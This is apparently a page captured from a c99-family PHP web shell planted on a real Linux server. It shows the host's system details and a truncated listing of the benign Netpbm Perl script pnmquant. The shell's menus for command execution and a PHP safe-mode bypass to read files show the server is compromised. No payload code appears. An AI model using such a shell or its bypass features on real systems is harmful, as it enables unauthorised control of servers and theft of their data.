Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/bin/ drwxr-xr-x |
Viewing file: pnmquant (7.67 KB) -rwxr-xr-x Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | #!/usr/bin/perl -w ############################################################################## # pnmquant ############################################################################## # By Bryan Henderson, San Jose CA; December 2001. # # Contributed to the public domain by its author. ############################################################################## use strict; use English; use Getopt::Long; #use File::Temp "tempfile"; # not available before Perl 5.6.1 use File::Spec; #use Fcntl ":seek"; # not available in Perl 5.00503 use Fcntl; # gets open flags my ($TRUE, $FALSE) = (1,0); my ($SEEK_SET, $SEEK_CUR, $SEEK_END) = (0, 1, 2); sub tempFile($) { # Here's what we'd do if we could expect Perl 5.6.1 or later, instead # of calling this subroutine: # my ($file, $filename) = tempfile("pnmquant_XXXX", # SUFFIX=>".pnm", # DIR=>File::Spec->tmpdir()) # UNLINK=>$TRUE); my ($suffix) = @_; my $fileName; local *file; # For some inexplicable reason, must be local, not my my $i; $i = 0; do { $fileName = File::Spec->tmpdir() . "/pnmquant_" . $i++ . $suffix; } until sysopen(*file, $fileName, O_RDWR|O_CREAT|O_EXCL); return(*file, $fileName); } sub parseCommandLine(@) { local @ARGV = @_; # GetOptions takes input from @ARGV only my %cmdline; my $validOptions = GetOptions(\%cmdline, "center", "meancolor", "meanpixel", "spreadbrightness", "spreadluminosity", "floyd|fs!", "quiet", "plain"); if (!$validOptions) { print(STDERR "Invalid option syntax.\n"); exit(1); } if (@ARGV > 2) { print(STDERR "This program takes at most 2 arguments. You specified ", scalar(@ARGV), "\n"); exit(1); } if (@ARGV < 1) { print(STDERR "You must specify the number of colors as an argument.\n"); exit(1); } my $infile; $cmdline{ncolors} = $ARGV[0]; if (!($cmdline{ncolors} =~ m{ ^[[:digit:]]+$ }x ) || $cmdline{ncolors} == 0) { print(STDERR "Number of colors argument '$cmdline{ncolors}' " . "is not a positive integer.\n"); exit(1); } if (@ARGV > 1) { $cmdline{infile} = $ARGV[1]; } else { $cmdline{infile} = "-"; } return(\%cmdline); } sub setAutoflush($) { my ($fh) = @_; # Better would be $fh->autoflush() (with use IO:Handle), but older Perl # doesn't have it. my $oldFh = select($fh); $OUTPUT_AUTOFLUSH = $TRUE; select ($oldFh); } sub openSeekableAsStdin($) { my ($infile) = @_; # Open the input file $infile and connect it to Standard Input # (assuming Standard Input is now open as the Perl file handle STDIN). # If $infile is "-", that means just leave Standard Input alone. But if # Standard Input is not seekable, copy it to a temporary regular # file and return a file handle for that. I.e. the file handle we # return is guaranteed to be seekable. # Note: this all works only because STDIN is already set up on file # descriptor 0. Otherwise, open(STDIN, ...) would just create a brand # new file handle named STDIN on some arbitrary file descriptor. if ($infile eq "-") { my $seekWorked = sysseek(STDIN, 0, $SEEK_SET); if ($seekWorked) { # STDIN is already as we need it. } else { # It isn't seekable, so we must copy it to a temporary regular file # and return that as the input file. my ($inFh, $inFilename) = tempFile(".pnm"); if (!defined($inFh)) { die("Unable to create temporary file. Errno=$ERRNO"); } unlink($inFilename) or die("Unable to unlink temporary file. Errno=$ERRNO"); setAutoflush($inFh); while ( |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0042 ]-- |